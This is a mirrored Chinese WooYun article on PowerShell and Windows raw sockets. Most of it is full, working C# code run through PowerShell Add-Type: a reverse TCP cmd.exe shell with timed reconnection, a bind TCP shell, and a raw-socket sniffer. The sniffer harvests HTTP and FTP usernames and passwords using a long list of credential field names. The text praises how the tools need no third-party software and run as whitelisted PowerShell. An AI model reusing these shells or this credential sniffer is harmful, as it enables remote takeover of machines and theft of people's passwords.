17

Powershell and Windows RAW SOCKET | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Powershell and Windows RAW SOCKET

Powershell c# and .NET


大家都知道powershell有一个非常厉害的地方是可以直接调用.net框架,并且.net框架在windows7/2008及以后是默认安装的。 Powershell调用.net框架可以有多种方法,最简单的方法是写c#代码然后直接运行,或者在powershell中使用new-object创建.net对象,然后再调用。

enter image description here

(在powershell中运行c#代码)

enter image description here

(在powershell中直接创建.net对象)

当然powershell还有很多方法运行c#代码。

Windows Raw Socket


raw socket提供了底层网络包的操作,所以需要administrator的权限,关于当前环境支持的raw socket的详细信息可以通过下面的命令查看。

netsh winsock show catalog

关于c#调用socket的文档,你可以在msdn的链接中找到,注意socket对象在.net3.5和其他版本中有一些差异。

evil things


通晓上面的过程后,就明白基本的网络操作都可以用powershell完成,比如端口扫描,CMD SHELL,文件上传下载,嗅探等。

重要的是这些操作不需要任何第三方的支持!

因为windows安装后就具备了这些条件!

而且这些操作是以白名单的powershell运行的!

比如构建一个反向连接的CMDSHELL熟悉上面的过程之后,写起来就会变得很简单,首先我们需要用c#写一个反向交互式CMD shell的对象,加上定时回连的功能,并且注意这个对象必须是public的,这样才能在powershell中调用。然后将你的代码复制进一个新的ps1文件中,并且用Add-Type @’ [email protected][email protected]powershell调用.NET的socket与Process和其他对象(主要)构建一个反向交互式的CMDSHELL。

Demo


Reverse TCP SHELL

在这里并不是调用的raw socket,所以不需要administrator权限,下面的Bind TCP shell也是。只有sniffer需要administrator权限。

enter image description here

#!c#
$Addr = "127.0.0.1"
$Port = 6666
$SleepTime = 5 #seconds

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class ReverseTCPShell
{
    public static TcpClient tcpClient;
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(string IP, int port, int SleepTime)
    {
        for (; ; )
        {
            start(IP, port, SleepTime);
            System.Threading.Thread.Sleep(SleepTime * 1000);
        }   
    }
    public static void start(string IP, int port, int SleepTime)
    {
        tcpClient = new TcpClient();
        UserInput = new StringBuilder();

        if (!tcpClient.Connected)
        {
            try
            {
                tcpClient.Connect(IP, port);
                stream = tcpClient.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);
            }
            catch (Exception)
            {
                return;
            }

            Process CmdProc;
            CmdProc = new Process();

            CmdProc.StartInfo.FileName = "cmd.exe";
            CmdProc.StartInfo.UseShellExecute = false;
            CmdProc.StartInfo.RedirectStandardInput = true;
            CmdProc.StartInfo.RedirectStandardOutput = true;
            CmdProc.StartInfo.RedirectStandardError = true;

            CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
            CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

            CmdProc.Start();
            CmdProc.BeginOutputReadLine();
            CmdProc.BeginErrorReadLine();

            while (true)
            {
                try
                {
                    UserInput.Append(streamReader.ReadLine());
                    CmdProc.StandardInput.WriteLine(UserInput);
                    UserInput.Remove(0, UserInput.Length);
                }
                catch (Exception)
                {
                    streamReader.Close();
                    streamWriter.Close();
                    CmdProc.Kill();
                    break;
                }
            }
        }
    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }
}

'@
[ReverseTCPShell]::run($addr, $port, $SleepTime)

Bind TCP SHELL

enter image description here

#!c#
$port = 2233

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class BindTCPShell
{
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(int port)
    {
        try
        {
            IPAddress localAddr = IPAddress.Parse("127.0.0.1");
            TcpListener server = new TcpListener(localAddr, port);

            while (true)
            {

                server.Start();

                TcpClient client = server.AcceptTcpClient();
                Byte[] bytes = new Byte[client.ReceiveBufferSize];

                Process CmdProc;
                CmdProc = new Process();

                CmdProc.StartInfo.FileName = "cmd.exe";
                CmdProc.StartInfo.UseShellExecute = false;
                CmdProc.StartInfo.RedirectStandardInput = true;
                CmdProc.StartInfo.RedirectStandardOutput = true;
                CmdProc.StartInfo.RedirectStandardError = true;

                CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
                CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

                CmdProc.Start();
                CmdProc.BeginOutputReadLine();
                CmdProc.BeginErrorReadLine();

                stream = client.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);

                UserInput = new StringBuilder();

                while (true)
                {
                    try
                    {
                        UserInput.Append(streamReader.ReadLine());
                        UserInput.Append("\n");
                        CmdProc.StandardInput.WriteLine(UserInput);
                        UserInput.Remove(0, UserInput.Length);
                    }
                    catch (Exception)
                    {
                        streamReader.Close();
                        streamWriter.Close();
                        CmdProc.Kill();
                        break;
                    }
                }
            }
        }
        catch (SocketException)
        {
        }

    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception ) { }
        } 
    }
}
'@
[BindTCPShell]::run($port)

SNIFFER

enter image description here

注意这里需要administrator权限。下面的demo只是做到了TCP解析的部分,filter也只是简单的给出了HTTP和FTP的筛选,关于IP和TCP解包的部分我已经在注释中给出了。 如果有其他需求可以自行修改。

#!c#
$Addr = "192.168.200.173"

Add-Type @'
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net.Sockets;
using System.Net;
using System.IO;

public class Sniffer
{
    public static void run(string Addr)
    {
        try
        {
            Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

            using (socket)
            {
                socket.Bind(new IPEndPoint(IPAddress.Parse(Addr), 0));
                System.Console.WriteLine("[+] binded to [" + socket.LocalEndPoint + "]");
                System.Console.WriteLine();

                byte[] inValue = BitConverter.GetBytes(1); // {1,0,0,0} for receiving all packets.
                byte[] outValue = BitConverter.GetBytes(0);
                socket.IOControl(IOControlCode.ReceiveAll, inValue, outValue);

                byte[] buf = new byte[1500];
                IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);

                int index = 0;
                while (true)
                {
                    index++;
                    ipep.Address = IPAddress.Any;
                    ipep.Port = 0;

                    EndPoint ep = (EndPoint)ipep;

                    int bufferReceivedSize = socket.ReceiveFrom(buf, ref ep);

                    IP ipPacket = new IP(buf);
                    if (ipPacket.protocol == 6)
                    {
                        TCP tcp = new TCP(ipPacket.data);
//                            System.Console.WriteLine("{0} : {1} --> {2} : {3} bytes.", (protocol)ipPacket.protocol, ipPacket.srcAddr, ipPacket.dstAddr, ipPacket.dataLen);
//                            System.Console.WriteLine("{0}=>{1}", tcp.srcPort, tcp.destPort);
                        DataFilter dataFilter = new DataFilter(tcp.data);
                    }

                }
            }
        }

        catch (SocketException err)
        {
            System.Console.WriteLine(err.Message);
            return;
        }
    }
}

public enum protocol : byte
{
    //Reference : http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers

    ICMP = 1,
    IGMP = 2,
    GGP = 3,
    IPCAP = 4,
    IPSTREAM = 5,
    TCP = 6,
    EGP = 8,
    IGRP = 9,
    UDP = 17,
    IPV6OIPV4 = 29
}

class IP
{
    //you can find the details about IP packet decoding here. [http://zh.wikipedia.org/wiki/IPv4#.E6.8A.A5.E6.96.87.E7.BB.93.E6.9E.84]

    public int version;                             //[ 4bit]
    public int headLen;                             //[ 4bit]
    public int service;                             //[ 8bit]
    public int dataLen;                             //[16bit]
    public int IPIdentificationNumber;              //[16bit]
    public int flag;                                //[ 3bit]
    public int fragmentOffset;                      //[13bit]
    public byte TTL;                                //[ 8bit]
    public int protocol;                            //[ 8bit]
    public int checkSum;                            //[16bit]
    public IPAddress srcAddr;                       //[32bit]
    public IPAddress dstAddr;                       //[32bit]

    public byte[] option;                           //[32bit] #not sure, exists if headLen > 20.
    public byte[] data;                             //[32bit]

    public IP(byte[] buf)
    {
        version = (buf[0] & 0xf0) >> 4;
        headLen = (int)(buf[0] & 0x0f) * 4;
        service = (int)(buf[1]);
        dataLen = ((int)buf[2] << 8) + (int)buf[3];
        IPIdentificationNumber = ((int)buf[5] << 8) + (int)buf[5];
        flag = buf[6] >> 5;
        fragmentOffset = (((int)buf[6] & 0x1F) << 8) + (int)buf[7];
        TTL = buf[8];
        protocol = (int)buf[9];
        checkSum = ((int)buf[10] << 8) + (int)buf[11];

        byte[] addr = new byte[4];

        //srcAddr
        Array.Copy(buf, 12, addr, 0, 4);
        srcAddr = new IPAddress(addr);

        //dstAddr
        addr = new byte[4];
        Array.Copy(buf, 16, addr, 0, 4);
        dstAddr = new IPAddress(addr);

        if (headLen > 20)
        {
            option = new byte[headLen - 20];
            Array.Copy(buf, 20, option, 0, option.Length);
        }

        data = new byte[dataLen - headLen];
        Array.Copy(buf, headLen, data, 0, data.Length);
    }
}

public class TCP
{
    public int srcPort = 0;
    public int destPort = 0;
    public uint sequenceNo = 0;
    public uint nextSeqNo = 0;
    public int headLen = 0;
    public int flag = 0;
    public int windowSize = 0;
    public int checkSum = 0;
    public int urgPtr = 0;

    public byte[] option;
    public byte[] data;

    public TCP(byte[] buf)
    {
        srcPort = ((int)buf[0] << 8) + (int)buf[1];
        destPort = ((int)buf[2] << 8) + (int)buf[3];
        sequenceNo = ((uint)buf[7] << 24) + ((uint)buf[6] << 16) + ((uint)buf[5] << 8) + ((uint)buf[4]);
        nextSeqNo = ((uint)buf[11] << 24) + ((uint)buf[10] << 16) + ((uint)buf[9] << 8) + ((uint)buf[8]);
        headLen = ((buf[12] & 0xF0) >> 4) * 4;
        flag = (buf[13] & 0x3F);
        windowSize = ((int)buf[14] << 8) + (int)buf[15];
        checkSum = ((int)buf[16] << 8) + (int)buf[17];
        urgPtr = ((int)buf[18] << 8) + (int)buf[19];

        if (headLen > 20)
        {
            option = new byte[headLen - 20];
            Array.Copy(buf, 20, option, 0, option.Length);
        }

        data = new byte[buf.Length - headLen];
        Array.Copy(buf, headLen, data, 0, data.Length);

    }
}

public class DataFilter
{
    Regex SMTPAuth = new Regex("AUTH LOGIN|AUTH PLAIN", RegexOptions.IgnoreCase);

    public DataFilter(byte[] buf)
    {

        String stringsData = System.Text.Encoding.Default.GetString(buf);
//            System.Console.WriteLine(stringsData);
        List<string> HTTPdatas = HTTPFilter(buf, stringsData);
        List<string> FTPdatas = FTPFilter(buf, stringsData);

    }

    public static List<string> FTPFilter(byte[] buf, String stringsData)
    {
        Regex FTPUser = new Regex("(?<=USER )[^\r]*", RegexOptions.IgnoreCase);
        Regex FTPPass = new Regex("(?<=PASS )[^\r]*", RegexOptions.IgnoreCase);

        List<string> r = new List<string>();
        if (FTPUser.IsMatch(stringsData)){
            MatchCollection username = FTPUser.Matches(stringsData);
            MatchCollection password = FTPUser.Matches(stringsData);
            System.Console.WriteLine();
            System.Console.WriteLine(String.Format("FTP username:{0}  password:{1}", username[0].ToString(), password[0].ToString()));
            r.Add(String.Format("FTP username:{0}  password:{1}", username[0].ToString(), password[0].ToString()));
        }

        return r;
    }

    public static List<string> HTTPFilter(byte[] buf, String stringsData)
    {
        String[] HTTPfileds = {
                                    //usernames
                                    "log","login", "wpname", "ahd_username", "unickname", "nickname", "user", "user_name",
                                    "alias", "pseudo", "email", "username", "_username", "userid", "form_loginname", "loginname",
                                    "login_id", "loginid", "session_key", "sessionkey", "pop_login", "screename",
                                    "uname", "ulogin", "acctname", "account", "member", "mailaddress", "membername", "login_username",
                                    "login_email", "loginusername", "loginemail", "uin", "sign-in",

                                    //passwords
                                    "ahd_password", "pass", "password", "_password", "passwd", "session_password", "sessionpassword", 
                                    "login_password", "loginpassword", "form_pw", "pw", "userpassword", "pwd", "upassword", "login_password",
                                    "passwort", "passwrd", "wppassword", "upasswd"
                                };

        List<string> r = new List<string>();


        for (int i = 0; i < HTTPfileds.Length; i++)
        {
            Regex testPattern = new Regex(String.Format("{0}=([^&]+)", HTTPfileds[i]), RegexOptions.IgnoreCase);
            if (testPattern.IsMatch(stringsData))
            {
                MatchCollection m = testPattern.Matches(stringsData);
//                    System.Console.WriteLine();
                System.Console.WriteLine(m[0]);
//                    System.Console.WriteLine(stringsData);
                r.Add(m[0].ToString());
            }
        }

        return r;
    }

}
'@

[Sniffer]::run($Addr)

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK